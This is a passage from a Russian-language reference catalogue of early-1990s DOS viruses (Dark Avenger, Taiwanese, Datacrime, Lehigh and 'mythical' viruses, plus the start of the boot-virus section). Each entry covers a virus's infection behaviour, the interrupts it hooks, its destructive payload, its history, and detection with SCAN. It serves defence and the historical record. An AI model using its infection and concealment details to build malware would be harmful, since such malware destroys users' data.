6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после смерти)
Неформальное название связано с тем, что вирус содержит
текстовую строку Live after Death, хотя она не видна при
просмотре дампа (вирус шифрует собственное тело при заражении).
Формально RC-800 - резидентный файловый вирус, заражающий файлы
при запуске их на выполнение, но не заражающий COMMAND.COM.
Шифрует собственное тело. При запуске зараженной программы вирус
инталлируется в старших адресах памяти, уменьшая системную память
на 16К (очевидно по принципу гулять, так гулять), используя
старшие 8192 байта. Перехватывает прерывание 2A. Файлы заражаются
при запуске на выполнение. Зараженные файлы заражаются повторно,
причем каждый раз длина учеличивается на 800 байтов. Минимальная
длина заражаемые файлов - 1K, однако файлы большие 800 байтов
также заражаются выборочно. Имеется штамм заражающий файлы как при
выполнении, так и при открытиии. Этот штамм уменьшает системную
память ровно на 8192 байта.
Исторические замечания. Вирус был обнаружен в Болгарии в мае
1990. На Запад передан В.Бончевым. Приведенные сведения основаны
на описании П.Хоффман. По-видимому, разработан в Софии техно-
крысой, называющей себя Dark Avenger.
Неформальные названия.
Методы и средства защиты. Вирус детектируется полидетектором
SCAN, начиная с версии 66.
6.3.1.3. Вирус RCE-1024
Данные вирус, по видимому является более ранней версией RCE-
2000. Формально данный вирус является резидентным. файловым
вирусом, заражающим как COM- так и EXE-файлы. При запуске
зараженной програмы вирус проверяет значения ряда прерываний,
включая 1 и 3. Если прерывания 1 и 3 перехвачены, то вирус не
инсталлируется в оперативной памяти, а запускает программу
вирусоноситель и после ее окончания вызывает зависание системы.
Если указанные прерывания свободны, то вирус инсталлируется,
уменьшая значения свободной памяти на 1072 байта и перехватывая
ряд прерываний Являясь резидентным вирус заражает каждую
выполняемую программу имеющую длину больше 1024 байта. Увеличение
длины маскируется при резидентном вирусе. Вирус дописывается в
конец зараженных файлов. Файлы заражаются однократно. В конце
зараженных файлов имеется строка '7106286813'. Вирус, по видимому,
не имеет стадии проявления.
Исторические замечания. Вирус был обнаружен в Болгарии в мае
1990. На Запад передан В.Бончевым. Приведенные сведения основаны
на описании П.Хоффман.По-видимому разработан в Софии техно-крысой
называющей себя Dark Avenger. По ряду признаков его можно считать
предшественником RCE-02000.
Неформальные названия.
Методы и программные средства защиты. Вирус детектируется
полидетектором SCAN, начиная с версии 66.
6.3.1.4. Вирус RCE-02100
Формально данный вирус является резидентным файловым вирусом,
заражающим как COM-, так и EXE-файлы, включая оверлеи. Заражает
COMMAND.COM. При выполнении зараженной вирусом программы вирус
инсталллируется, уменьшает системную память на 4288 байтов, а
затем заражает командный процессор. Заражает программы при
выполнении или открытии файла. Минимальная длина заражаемой
программы - 2100 байтов. Увеличение длины при резидентном вирусе
маскируется. Как обычно, при резидентном вирусе появляется
побочный эффект, связанный с появлением потерянных кластеров при
проверке целостности файловой системы командой CHKDSK /F
Исторические замечания. Вирус был обнаружен в Болгарии в июле
1990. Распространялся через троянскую версию антивирусной
программы UScan, которая была загружена в несколько европейских
BBS. При этом наличие вируса в самой программе было замаскировано
и его было невозможно обнаружить детектором, рассчитанным на
данный вирус. Приведенные сведения основаны на описании П.Хоффман.
По-видимому, разработан в Софии техно-крысой, называющей себя Dark
Avenger.
Неформальные названия. 2100, UScan Virus
Методы и средства защиты. Вирус детектируется полидетектором
SCAN, начиная с версии 66.
6.3.2. Вирус RC-1701p (Phoenix - Феникс)
Несмотря на идентичную длину вирус не связан с группой Буквопад.
Формально данный вирус представляет собой файловый резидентных
вирус, заражающий COM-файлы и имеющий специальный механизм
инфицирования COMMAND.COM. Инсталллируется в старшие адреса
свободной памяти, резервируя 8192 байта. Перехватывает прерывание
2A. Ищет в корневом каталоге текущего диска COMMAND.COM и заражает
его не увеличивая длины (тело вируса записывается в область с
нулевыми байтами. Затем выполняет ту же операцию на диске С (на
случай, если текущий диск является электронным). Заражает COM-
файлы, увеличивая их длину на 1701 байт. Проверка файла на
зараженность выполняется некорректно, поэтому вирус может повторно
заражать один и тот же файл, каждый раз увеличивая длину на 1701
байт. Инфицируются файлы как при выполнении, так и при открытиии.
При попытке выполнить утилиту CHKDSK на зараженной системе
инициируется теплая перезагрузка системы. Использует сложный метод
шифровки тела, включая самомодификацию инсталлятора, поэтому
детекторы основанные на поиске контексных строк не в состоянии
обнаружить данный вирус. Имеет ряд штаммов.
Исторические замечания. Вирус был обнаружен в Болгарии в июле
1990. На Запад был передан В.Бончевым. Приводимые сведения
основаны на описании П.Хоффман. По-видимому, разработан в Софии.
Неформальные названия. V1701New, P1
Методы и средства защиты. Вирус детектируется полидетектором
SCAN, начиная с версии 66.
6.4. Файловые вирусы восточного происхождения
6.4.1. Вирус RCE-2064 (Wolfman)
Формально данный вирус является резидентным файловым вирусом,
заражающим как COM-, так и EXE-файлы, включая оверлеи. Заражает
COMMAND.COM. При выполнении зараженной вирусом программы вирус
инсталллируется, резервируя в младших адресах свободной памяти два
блока памяти один размером 68032, а другой - 4544 байта. Таким
оразом общий размер свободной памяти уменьшается на 72640 байтов.
Вирус перехватывает прерывания 09, 10, 16, 21, 2F, ED и F5.
Заражает программы при выполнении файла. Минимальная длина
заражаемой программы - 2064 байта. при заражении COM-файлов тело
вируса дописывается в начало файла, а при заражении EXE-файлов в
конец. Проявления вируса неизвестны.
Исторические замечания. Вирус был обнаружен на Тайване в июле
1990. Приводимые сведения основаны на описании П.Хоффман. По-
видимому, разработан в Тайбее.
Неформальные названия. Помимо приведенных выше неизвестны.
Методы и средства защиты. Вирус детектируется полидетектором
SCAN, начиная с версии 66.
6.4.2. Вирус C-743 (Taiwan-2)
Формально данный вирус является нерезидентным файловым вирусом,
заражающим COMMAND.COM. При выполнении зараженной программы вирус
предпринимает попытку заразить три COM-файла. поиск начинается не
с текущего каталога, а с корневого каталога диска С. Заражение
выполняется путем дописывания кода вируса в начало файла. При этом
первые743 байта программы переписываются в конец. Из-за ошибки в
коде вируса при заражении программ, меньших 743 байта зараженная
програма будет всегда иметь длину 1486 байтов. Фаза проявления
наступает на восьмой день любого месяца. В этот день при запуске
любой зараженной программы вирус выполняет попытку записи первых
160 секторов на дисках С и D, начиная с сектора 0.
Исторические замечания. Вирус был обнаружен на Тайване в январе
1990. Приводимые сведения основаны на описании П.Хоффман. По-
видимому, разработан в Тайбее.
Неформальные названия. Помимо приведенных выше неизвестны.
Методы и средства защиты. Вирус детектируется полидетектором
SCAN, начиная с версии 66.
6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3)
Неформальное название отражает порядковый номер поступления
вирусов с Тайваня к сотрудникам Макафи (первыми двуми были
Дисккилллер и C-743 (Taiwan-2)). По своей структуре вирус не
связан с вирусом С-743. При запуске зараженной программы вирус
инсталлируется в нижние адреса свободной оперативной памяти
резервируя 3152 байта. Перехватывает прерывание 21. Являясь
резидентным, заражает все исполняемые программы. По данным
П.Хоффман COM-файлы увеличиваются на 2900 байтов, а EXE-файлы на
2900-2908 (скорее 2900-2915). Заражаются и оверлейные файлы.
Проявления неизвестны.
Исторические замечания. Вирус был обнаружен на Тайване в июне
1990. Приводимые сведения основаны на описании П.Хоффман.
Неформальные названия. Помимо приведенных выше неизвестны.
Методы и средства защиты. Вирус детектируется полидетектором
SCAN, начиная с версии 66.
6.4.4. Вирус RCE-4096 (Plastique)
Формально данный вирус является резидентным файловым вирусом,
заражающим как COM-, так и EXE-файлы, включая оверлеи. Не заражает
COMMAND.COM. При выполнении зараженной вирусом программы вирус
инсталлируется, резервируя в младших адресах свободной памяти 5120
байтов. Вирус перехватывает прерывания 08, 09, 13, 21 и ED.
Заражает программы при выполнении и открытии файла. Длина
зараженных файлов увеличивается на 4096 байтов. Проявления вируса
неизвестны.
Исторические сведения. Вирус обнаружен в июле 1990 г. на Тайване
и, по-видимому, разработан там же. Имеется ранний неотлаженный
штамм - RCE-3012 (Plastique)
Неформальные названия. Plastique-B, Plastique 5.21, Plastic
Bomb,
Средства обнаружения и защиты. Детектируется Scan (версии 66+).
6.5. Некоторые ископаемые файловые вирусы
Ряд вирусов, ранее весьма распространенных на Западе, в
настоящее время практически полностью уничтожен и сведения о них
представляют, в основном, исторический интерес. Впрочем последняя
фраза не совсем корректна, поскольку необходимо помнить, что любой
компьютерный вирус практически безсмертен и может
реанимироваться из архивов через несколько лет после того как о
нем все забыли.
6.5.1. Вирус RC-0-346 (Lehigh - Лехайский)
Название вируса связано с тем, что он впервые был обнаружен в
университете Lehigh (США) в ноябре 1987 г. В настоящее время
вирус, по-видимому, относится к ископаемым и представляет лишь
исторический интерес как один из первых файловых вирусов, а также
как первый (и один из немногих) вирус, специализированный на
заражении определенного файла. Формально вирус RC-0-346 является
файловым резидентным вирусом, распространяющимся через файл
COMMAND.COM (командный процессор MS DOS). Иногда данный вирус
называют системным вирусом, акцентируя внимание на том, что он
заражает только командный процессор. По мнению автора, такое
название неоправданно, так как хотя командный процессор и является
неотъемлемой частью операционной системы, его выбор, в отличие от
распространенного мнения, произволен. Конечно стандартный
командный процессор, поставляемый с MS DOS (COMMAND.COM) и
является наиболее распространенным, однако он не является
единственным используемым. Например, ряд фирм, включая Хьюллет
Паккард, поставляют свои версии MS DOS c диалоговым командным
процессором, и пользователи этих машин никогда не сталкивались с
COMMAND.COM и характерным приглашением C:\. Кроме того, учитывая
весьма низкое качество написания COMMAND.COM (а в четвертой версии
MS DOS он не только плохо написан, но и еще страдает от
ожирения, т.к. его размер вырос более чем на 10К без
существенного увеличения функциональных возможностей)
квалифицированные пользователи часто заменяют его на командный
процессор 4DOS фирмы J.P. Software. Поэтому выбор COMMAND.COM как
среды обитания вируса ничем принципиально не отличается от
выбора, скажем, Norton Commander или другой распространенной
программы.
Вирус имплантирует свое тело в область памяти, используемую
COMMAND.COM для стека и изменяет первые байты зараженного
COMMAND.COM таким образом, чтобы первым получить управление после
его загрузки. Поэтому длина зараженного COMMAND.COM не отличается
от длины нормального. При запуске командного процессора вирус
получает управление и становится резидентным, перехватывая
прерывание 21. При возникновении прерывания 21, вирус
перехватывает запросы выполнить программу и найти первый файл.
При обработке этих запросов вирус сначала определяет, содержит ли
диск COMMAND.COM. Если да, то он заражает COMMAND.COM диска, к
которому идет обращение, и увеличивает спецциальный счетчик. Если
винчестер отсутствует, то счетчик хранится в оперативной памяти,
иначе у записывается на диск. Таким образом, перезагрузка
сбрасывает счетчик на ПЭВМ без винчестера, в то время как на ПЭВМ
с винчестером значение счетчика сохраняется. При достижении
счетчиком значения 4 вирус, используя прерывание 26, обнуляет
первые 32 сектора того диска, с которого он был загружен.
Обнаружение данного вируса упрощается в связи с тем, что при
заражении вирус изменяет дату создания файла. Кроме того, вирус не
проверяет, защищен диск от записи или нет и не снимает атрибут
READ ONLY. Поэтому, если COMMAND.COM имеет этот атрибут, то вирус
в него не попадет (не исключено, что в некоторых штаммах данного
вируса эти недостатки устранены).
Исторические замечания. Данный вирус является одним из первых
вирусов-вандалов. Он был обнаружен в студенческими консультатами
Вычислительного центра Лехайского университета (Lehigh university,
Bethlehem, США) в ноябре 1987 г.[Wyk89]. Они обратили внимание,
что начиная с 18.10.87 пользователи начали в массовом порядке
возвращать выданные им дискеты, заявляя что они дефектны. Хотя в
условиях интенсивной эксплуатации дискеты характерной для
университета последние иногда становятся сбойными из-за
физического износа, плохо отрегулированного дисковода или
попадания грязи, скорость возврата дискет нарастала настолько
заметно, что было решено проанализировать ситуацию. В результате и
был выявлен Лехайский вирус. Фактически это первый файловый вирус,
распространение которого приняло характер эпидемии. Возможно
существуют два штамма, один не увеличивает длину зараженного
COMMAND.COM, а другой увеличивает ее на 20 байт. В СССР явно не
отмечался. Излагаемые сведения опираются на информацию в
зарубежных печатных изданиях.
Методы и программные средства защиты. Данный вирус
диагностируется полидетектором SCAN. Вирус ищет файл с командным
процесором по имени, а не по COMSPEC, поэтому изменение имени
командного процессора защищает командный процессор от заражения.
Как уже указывалось, базисная версия вируса не сбрасывает атрибут
READ ONLY, поэтому если командный процессор защищен этим
атрибутом, то он заражаться не будет. Поскольку вирус является
резидентным возможно создание резидентной вакцины. Вместо
использования фага проще переписать командный процессор заново с
дистрибутивной копии операционной системы.
6.5.2. Вирус dBASE
Вирус представляет интерес как представитель класса вирусов,
направленных на модификацию данных. Он использует достаточно
изощренную схему изменения DBF-файлов, причем при резидентном
вирусе внесенные изменения маскируются. Формально вирус dBASE
является резидентным файловым вирусом, который перехватывает
прерывание 21 и ждет попытки открытия файла с расширением DBF. При
этом вирус запоминает управляющий блок файла (file handle) и
текущую длину файла с расширением DBF. Любая последующая операция
по записи в этот файл искажается вирусом таким образом, что первые
два байта записываемого блока меняются местами. При последующих
операциях чтения вирус восстанавливает первоначальное положение
этих байтов, так что до тех пор, пока вирус является резидентным,
вся информация читается правильно. Через 90 дней вирус разрушает
FAT. При восстановлениии с архивных копий пользователь
обнаруживает, что данные в них искажены. Вирус dBASE создает
специальный файл с атрибутом HIDDEN, называемый BUG.DAT, в котором
хранится информация о том, какие записи файла (записывается
смещение в байтах) имеют переставленные байты. Для каждого
каталога, содержащего DBF-файлы, создается свой скрытый файл
BUG.DAT.
Исторические замечания. Данный вирус описан в 1989 г. в журнале
BYTE в статье Р.Гринберга [Greenberg89]. В СССР случаи заражения
не отмечались.
Методы и программные средства защиты. При работе с файлом
BUG.DAT вирус не проверяет установку атрибута READ ONLY. Поэтому,
если создать искуственный файл с таким атрибутом, то вирус не
сможет записать в него информацию и тем самым повредить DBF-файлы.
6.5.3. Screen Virus - экранный вирус
Данный вирус также является резидентным и, как и вирус dBASE,
выполняет перестановки байтов. Он перехватывает прерывание от
таймера и каждые несколько минут, начиная со случайной позиции
последовательно сканирует память видеоадаптера. Если вирус находит
четыре последовательные цифры, то он переставляет местами две из
них. Вирус повторно-заражает СОМ-файлы. При первом запуске
зараженной программы инсталлятор вируса перед тем, как сделать код
вируса резидентным, заражает все подходящие файлы в текущем
каталоге, включая и файл, содержащий запускаемую программу, если
последняя находится в текущем каталоге.
Исторические замечания. Данный вирус описан в 1989 г. в журнале
BYTE в статье Р.Гринберга [Greenberg89].
Методы и программные средства защиты. Вирус содержит ASCII-
строку InFeCt (с указанным сочетанием больших и маленьких букв).
Непоредственно перед этой строкой располаются четыре байта
оригинальной программы, замененные вирусом. Эти байты можно
вручную переставить в начало программы или написать
соответствующий фаг.
6.5.4. Группа первоапрельских вирусов
Данная группа, по видимому, является историческим
предшественником иерусалимской группы и, возможно, принадлежит
тому же автору. В нее входят вирусы RC-897 и RE-1488.
6.5.4.1. Вирус RC-897
(SURIV 1 - Сурив 1, April First - Первое апреля)
Резидентный файловый вирус, заражающий COM-файлы при запуске их
на выполнние. При заражении очередного файла выдает на экран
сообщение
YOU HAVE A VIRUS. а первого апреля выдает сообщение
HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS
(1 апреля ха-ха-ха. У Вас вирус) и вызывает зависание системы.
Исторические замечания. Вирус разработан в Израиле в 1987 году и
относится к ранним представителям иерусалимской группы.
Методы и программные средства защиты. Данный вирус
диагностируется полидетектором SCAN. Выкусывается полифагом
CLEANUP, а также полифагом Antivir (версия 3.0 1988),
разработанным D.Hoppenrath.
6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2,
April First - Первое апреля, Jerusalem D - Иерусалим Д)
Штамм, заражающий EXE-файлы. Проявляется 1 апреля и после
определенного времени работы на компьютере, выдавая сообщение
HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS.
(1 апреля ха-ха-ха. У Вас вирус)
При этом зависание системы приводит к потере информации при
редактировании или других аналогичных работах.
Исторические замечания. Вирус разработан в Израиле в 1987 году и
относится к ранним представителям иерусалимской группы.
Методы и программные средства защиты. Данный вирус
диагностируется полидетектором SCAN. Выкусывается полифагом
CLEANUP, а также полифагом Antivir (версия 3.0 1988),
разработанным D.Hoppenrath.
6.5.5. Группа Datacrime (Дейтакрайм)
Данная группа появилась в США в 1989 г. В настоящее время
состоит из трех штаммов длиной 1168 (Datacrime), 1280 (Datacrime-
II) и 1514 (Datacrime-IIb) байтов. При этом первые два штамма
заражают только файлы типа COM, а штамм Datacrime-IIb - как файлы
типа COM, так и файлы типа EXE. Стадия проявления для данного
вируса наступает ежегодно после 12 октября (день открытия Америки,
День Колумба). Перед поиском файла-жертвы, вирус проверяет текущую
дату. Если дата больше 12 октября и компьютер имеет винчестер, то
вирус дешифрует и выдает на экран сообщение:
DATACRIME VIRUS
RELEASED: 1 MARCH 1989
При этом вирус форматирует первые восемь дорожек нулевого
цилиндра диска С, уничтожая MBR, бутсектор, FAT и главный каталог.
После этого вирус зацикливается, выдавая в этом бесконечном цикле
символ BELL (звуковой сигнал). Это еще раз подчеркивает
необходимость резервирования первых треков при каждой загрузке в
специальный файл, расположенный в фиксированном месте диска или
использования для этой цели программы MIRROR из пакета PC SHELL.
По данным H.J.Highland [158], который до 1990 г. был главным
редактором журнала Computers & Security, автор вируса предпринял
некоторые меры маскировки. Вирусы, входящие в данную группу, не
заражают файлы, седьмой символ имени которых равен D, и в
частности, файл COMMAND.COM. Как уже указывалось, содержащееся в
теле вируса текстовое сообщение шифруется с помощью команды XOR.
Дешифровка выполняется непосредственно перед выдачей сообщения на
экран, т.е. перед срабатыванием троянской компоненты. При поиске
зараженных файлов вирус просматривает корневой каталог и все
подкаталоги винчестера. Если файлов-жертв там не обнаружено, то
выполняется просмотр диска A, а затем диска B.
6.5.5.1. Вирус E-1168 (Datacrime B - Дейтакрайм B, 11168,
Columbus Day - День Колумба)
Данный вирус является нерезидентным файловым вирусом, заражающим
COM-файлы. При заражении дописывает себя в конец файла, увеличивая
длину на 1168 байтов и заменяя первые пять байтов зараженной
программы на команду перехода к началу вируса. Вирус размножается
с 1 апреля по 12 октября любого года. До 1 апреля вирус находится
в латеном состоянии и при запуске зараженных файлов сразу передает
управление вирусоносителю. Стратегия размножения основана на
просмотре каталогов и заражении всех найденных COM-файлов, кроме
тех, которые имеют в качестве седьмой буквы имени букву D. Сначала
просматриваются разделы винчестера, а затем дисководы с дискетами.
Из-за ошибок в коде заражаются не все файлы, создавая впечатление
случайного вибора. Возможно зависание системы в процессе
заражения.
При выполнении зараженного файла после 12 октября любого года
вирус выдает приведенное выше сообщение (зашифровано в теле
вируса) и выполняет низкоуровневое форматирование жесткого диска.
Для PC/AT, а также систем c контроллерами типа RLL или SCSI
алгоритм запуска низкоуровневого форматирования неработоспособен.
Исторические замечания. Данный вирус обнаружен в мае 1989 г. в
Европе. Это связано с тем, что фаза распространения и фаза
проявления этого вируса отделены периодом в десять месяцев. По
некоторым данным, вирус разработан в Голландии. Судя по выдаваемой
надписи, время разработки относится в началу 1989 г. а начало
распространения - к марту 1989 г. Случаи заражения отмечались в
США уже летом того же года. В настоящее время практически
полностью уничтожен. В СССР явно не отмечался, однако, учитывая
его европейское происхождение, рекомендуется проверять
программного обеспечения на зараженность вирусами данной группы в
сентябре текущего года.
Методы и программные средства защиты. Диагностируется
полидетектором SCAN.
6.5.5.2. Вирус E-1280 (Datacrime B - Дейтакрайм B, 1280, Columbus
Day - День Колумба)
Штамм, заражающий только файлы типа EXE и способный
форматировать винчестер с контроллерами типа RLL или MFM.
6.5.5.3. Вирус СE-1514
(Datacrime II - Дейтакрайм, 1514, Columbus Day - День Колумба)
Штамм, заражающий как COM-, так и EXE-файлы. Тело вируса
зашифровано. В отличие от предыдущего не пытается форматировать
винчестер.
6.5.5.4. Вирус СE-1917 (Datacrime IIB - Дейтакрайм IIB , 1917,
Columbus Day - День Колумба)
Штамм, обнаруженный в ноябре 1989 года. Пытается форматировать
диск в любой день после 12 октября, кроме понедельника. Метод
шифровки тела изменен.
6.6. Мифические файловые вирусы
Мы рождены, чтоб сказку сделать былью...
Из популярной песни 30-х годов
6.6.1. Вирус Cookie, Cookie Monster - Печенье
Данная легенда основана на демонстрационном вирусе,
действительно существовавшем на компьютерах с микропроцессором
8080 или Apple II. Или, возможно, вирус полностью уничтожен и
относится к ископаемым вирусам. Название данного вируса связано
с персонажем популярной в США детской телевизионной программы
SESAME STREET. Проявление этого вируса связано с выдачей на экран
сообщения
I WANT COOKIE
(я хочу печенья)
Только ввод с клавиатуры слова COOKIE позволяет продолжить
работу с программой. Вводом тайного пароля OREO можно усыпить
вирус на несколько недель. В некоторых вариантах легенды вирус
стирает файлы при неправильном ответе или слишком длительной
задержке с ответом.
Исторические замечания. В файле П.Хоффман не описан.
Методы и программные средства защиты. Как ни странно, но для
данного вируса имеется фаг (может быть, это шутка) - вирус
диагностируется и выкусывается полифагом Antivir (версия 3.0
1988), разработанным D.Hoppenrath.
6.6.2. Вирус, заражающий обьектные библиотеки
Автором легенды является А.А.Чижов. В статье [Чижов88] он
неосторожно высказал собственную идею о вирусе, внедряющемся в
библиотеку обьектных модулей компилятора. Соответствующий текст
представляет исторический интерес:
3. Вирус в обьектной библиотеке. Вирус, прикрепленный к
обьектной библиотеке какого-либо компилятора, - наиболее
изощренный вид вируса. Такой вирус автоматически внедряется в
любую программу, составленную программистом, работающим с
зараженной библиотекой.
Внедряется вирус в библиотеку следующим способом. В обьектную
библиотеку добавляется модуль, содержащий в себе вирус,
оформленный в виде подпрограммы. Затем в модуль, который должен
получать управление от Дос в сформированной программе, всавляется
вызов подпрограммы, содержащей вирус. При этом корректируется
таблица глобальных имен, используемых в бибилиотеке. При
компоновке какой-либо программы модуль с вирусом автоматически
подключается к программе и всегда будет запускаться при ее
запуске...
6.6.3. Вирус падающие головки винчестера
Данная легенда стала неотъемлемой частью программистского
фольклора. Попытку придать этой легенде статус научного факта
предпринял Ю.Н.Основский. В брошюре [Основский90] написано
буквально следующее:
Вирусы, вызывающие аварию аппаратного обеспечения ЭВМ,
представляются наиболее опасными из всех классов вирусов. Если
после срабатывания вируса из классов, описанных выше, самым
серьезным последствием является гибель всей информации на
носителях, то срабатывание вируса, вызывающего аварию аппаратного
обеспечения ЭВМ, кроме логического разрушения информации, вызывает
еще и физическую поломку машины.
К счастью, автор не сталкивался еще с такими вирусами лицом к
лицу (т.е. на своем персональном компьютере), однако наблюдал
результаты срабатывания одного из таких вирусов на машине своих
коллег. Этот вирус заставил операционную систему обращаться к
жесткому диску с резонансной частотой блока его головок. Как
результат - падение блока головок на вращающийся диск,
заклинивание диска с повреждением всех его поверхностей и,
естественно, разрушением информации. Для восстановления
работоспособности машины пришлось покупать новый жесткий диск.
Далее автор приводит еще более интересные сведения:
Однако можно с достаточной степенью уверенности утверждать, что
распространение этого типа вирусов не грозит пользователям
персональных ЭВМ с жесткими дисками производства стран у членов
СЭВ только в том случае, если жесткие диски собраны в этих
странах. При использовании готовых фирменных жестких дисков
проникший на машину вирус может сработать, так как для определения
резонансной частоты диска необходимо точно знать его физические
параметры. Поэтому опасность срабатывания подобного вируса грозит
только тем пользователям, машины которых оснащены фирменными
жесткими дисками. Автору удалось установить (естественно, не путем
эксперимента), что эти вирусы существуют в настоящее время только
для двух типов фирменных жестких дисков: SeaGate и Amstrad.
К сожалению, как будет ясно из дальнейшего изло- жения,
благодаря богатой фантазии Ю.Н.Основскому удалось установить
(естественно, не путем эксперимента) не только это.
6.6.4. Вирус в сетевом драйвере
Источником данной легенды является все та же статья [Чижов88].
Приведем соответствующую цитату.
Возможно создание вируса, внедряемого в сетевой драйвер. Такой
вирус переносит себя по сети на другой компьютер. Возможность
перенесения по сети, конечно, зависит от вида сети - один вирус
обычно может заражать только сеть одного вида с однотипными
драйверами обслуживания сети.
Самый простой способ переноса такого вируса - передача по сети
нового варианта сетевого драйвера. Для этого необходимо, чтобы
зараженный драйвер вызвал от незараженного абонента сетевой
драйвер (или его часть), добавил в него вирус и передал обратно.
При последующем запуске сетевого драйвера будет запущен уже новый
зараженный драйвер.
Процесс заражения сопровождается довольно большими передачами по
сети, поэтому вирус может быть обнаружен за счет не только
изменения размера сетевого драйвера или его контрольной суммы, но
и обнаружения лишних передач по сети.
6.6.5. Сетевой вирус RCE-2231
Эта легенда принадлежит, по видимому, Ю.Н.Основскому, который
пишет:
...Автору известен только один случай заражения сетевым
вирусом, когда появление вируса на одной из концевых машин сети
вызвало немедленное заражение головной машины сети, а за ней - и
всех остальных концевых машин.
Этот вирус длиной 2231 байт распространялся через прерывание DOS
21H (выполнение функций DOS, номера функций 5EH, 5FH). Вирус
заражал .СОМ и .EXE-файлы, увеличивая их длину. Несмотря на то,
что в течение нескольких дней никаких внешних проявлений вируса не
замечалось, было решено полностью очистить все машины от вируса.
Лишь на одной машине, исключенной из сети, вирус был обезврежен в
операционной ситеме, но с исследовательскими целями оставлен в
ряде программ пользователей. В результате исследования выяснилось
следующее:
- вирус и в отстутсвии сети способен заражать операционную
систему, причем не только ее командный процессор, который
поражается сразу, но и скрытые системные файлы, которые поражаются
в самом конце инкубационного периода;
- инкубационный период вируса составляет около месяца, после
чего на машине происходит ядерный взрыв (это название предложено
автором на основании анализа пораженного вирусом жесткого диска
после срабатывания). Дело в том, что характер поражения напоминает
след ядерного взрыва: чем ближе к FAT-таблице, которая является
как бы эпицентром жесткого диска, тем больше разрушенных
векторов в логических кластерах);
Ну и так далее. Если рассматривать данное описание как
спецификацию, то она, к сожалению, представляется вполне
реализуемой, если, конечно, отбросить проколы типа поражения
скрытых системных файлов в конце инкубационного периода. Более
того, напрашивается сравнение с вирусом C-1260v (прил.3), который
фактически основан на аналогичной спецификации. Здесь, пожалуй,
четче всего видна опасность фантазирования на вирусную тематику.
Не случайно, по некоторым данным, разведслужбы специально
анализируют издаваемые детективы на предмет возможного
использования приводимых сюжетных ходов в реальных операциях, а
после просмотра жестокого фильма отмечается возрастание числа
опасных преступлений, близких по схеме к событиям на экране.
6.6.6. Вирусы, поражающие скрытые системные файлы.
Данная легенда, по видимому, принадлежит А.А.Чижову. В уже
упоминавшейся статье [Чижов88] он пишет:
Вряд ли вирус может внедриться в загрузчик, так как загрузчик
должен размещаться в одном секторе диска емкостью 512 байт. В
загрузчике практически нет свободного места.
Другое дело - скрытые файлы ДОС. Вирус может прикрепиться к
любому из этих файлов, при этом его дальнейшее поведение может
быть различным. Само прикрепление происходит просто - вирус может
дописать себя в конец одного из файлов. при запуске каждого из
скрытых файлов управление передается на начало файла, в котором
стоит команда перехода на инициатор соответствующей части ДОС,
вместо которой вирус может поставить переход на свое начало, а
после настройки запустить инициатор ДОС. Наиболее действенным
может быть прикрепление ко второму скрытому файлу -
IBMDOS.COM(MSDOS.SYS), так как, во-первых, в конце первого файла
находится конфигуратор системы, обрабатывающий файл CONFIG.SYS,
что мешает прикреплению вируса, во-вторых, в момент запуска
первого скрытого файла ДОС еще не функционирует. В момент же
запуска второго скрытого файла ДОС уже частично функционирует,
полностью сформированы драйверы ввода-вывода.
То, что А.А.Чижов описал как одну из возможностей, пытаясь одним
из первых самостоятельно проанализировать возможные пути
инфицирования MS DOS (и ошибаясь в данном случае), Ю.Н.Основский
преподносит нам как факт, имеющий место на начало 1990 г.:
Поражение скрытых системных файлов приводит к заражению всей
операционной системы ЭВМ, а если ЭВМ включена в состав локальной
вычислительной сети, то возможен переход вируса на любую другую
машину сети, в том числе и на головную.
Правда, обычно заражение скрытых системных файлов довольно легко
распознается, так как одна из первых же перезагрузок пораженной
операционной системы приводит к срабатыванию вируса и, как
правило, к потере информации на носителе (ничего себе легкое
распознавание ! - БНН). Отметим, что большинство вирусов,
заражающих скрытые системные файлы, относятся к классам вирусов,
либо повреждающих системные области дисков, либо форматирующих
диски..
Опыт автора показывает, что в случае поражения обычными
файловыми вирусами (резидентные вирусы, заражающие файлы при
открытии заражают указанные системные файлы при их копировании)
скрытых файлов операционная система становится неработоспособной.
Специальных вирусов, рассчитанных именно на заражение скрытых
файлов, в настоящее время не существует (возможно, потому, что
слишком мала инфицирующая способность такого вируса - меньше чем у
бутового). Единственный специализированный вирус, заражающий
командный процессор (Lеhigh), по данным П.Хофман, можно считать
практически уничтоженным. В нашу страну он пока не попадал.
7. КАТАЛОГ БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В СССP
В настоящее время можно выделить четыре группы бутовых вирусов:
итальянскую, пакистанскую, новозеландскую и индийскую.
7.1. Итальянская группа
Итальянская группа представляет собой бутовые вирусы,
демонстрирующие интересный визуальный эффект: во время работы
пользователя ни с того ни с сего на экране появляется хаотически
движущееся на экране светлое пятно (мячик). Первым и наиболее
распространенным представителем этой группы является вирус Bx1-1C,
на примере которого мы и рассмотрим эту группу.
7.1.1. Вирус Bx1-1C (Ping-Pong - Пинг-понг;
Italian Bouncing - Итальянский попрыгунчик)
Неформальные названия данного вируса связаны с тем, что вирус
визуально проявляется в виде светлого ромбика на экране дисплея,
двигающегося в случайном направлении и отражающегося от символов
псевдографики. Формально данный вирус относится к резидентным
бутовым вирусам типа Вx1: он заражает как дискеты, так и
винчестер, а его хвост расположен в одном кластере, помеченном как
сбойный, как на дискетах, так и на винчестере.
Дамп головы и хвоста вируса приведены ниже. Как уже указывалось,
инфицируются любые дискеты, а не только системные. Оригинальный
бутсектор находится во втором секторе сбойного класера, что
позволяет использовать его при восстановлении с помощью Norton
Utilities или PC Tools. Длина вируса составляет 1536 (600h) байт.
Перехватывает прерывания 10h и 13h. Когда происходит загрузка с
зараженного диска, сначала считывается голова вируса, которая
размещается по адресу 0000:7C00 и управление передается на начало
вируса. Вирус определяет объем памяти компьютера (слово по адресу
0040:0013) и уменьшает его значение на 2, резервируя место
размером 2K под свою копию. Затем вирус копирует себя в
зарезервированную область, передает туда управление, ищет свою
вторую часть на диске, дописывает к себе свое продолжение и
считывает оригинальный бутсектор (второй сектор псевдосбойного
кластера с хвостом вируса) в память по адресу 0000:7C00. Затем
вирус перехватывает прерывание 13h с тем, чтобы контролировать
обращения к диску и запускает стандартный системный загрузчик (
передавая управление на адрес 0000:7C00), который, в свою очередь,
загружает IBMIO.COM и IBMDOS.COM (или IO.SYS и MSDOS.SYS), т.е.
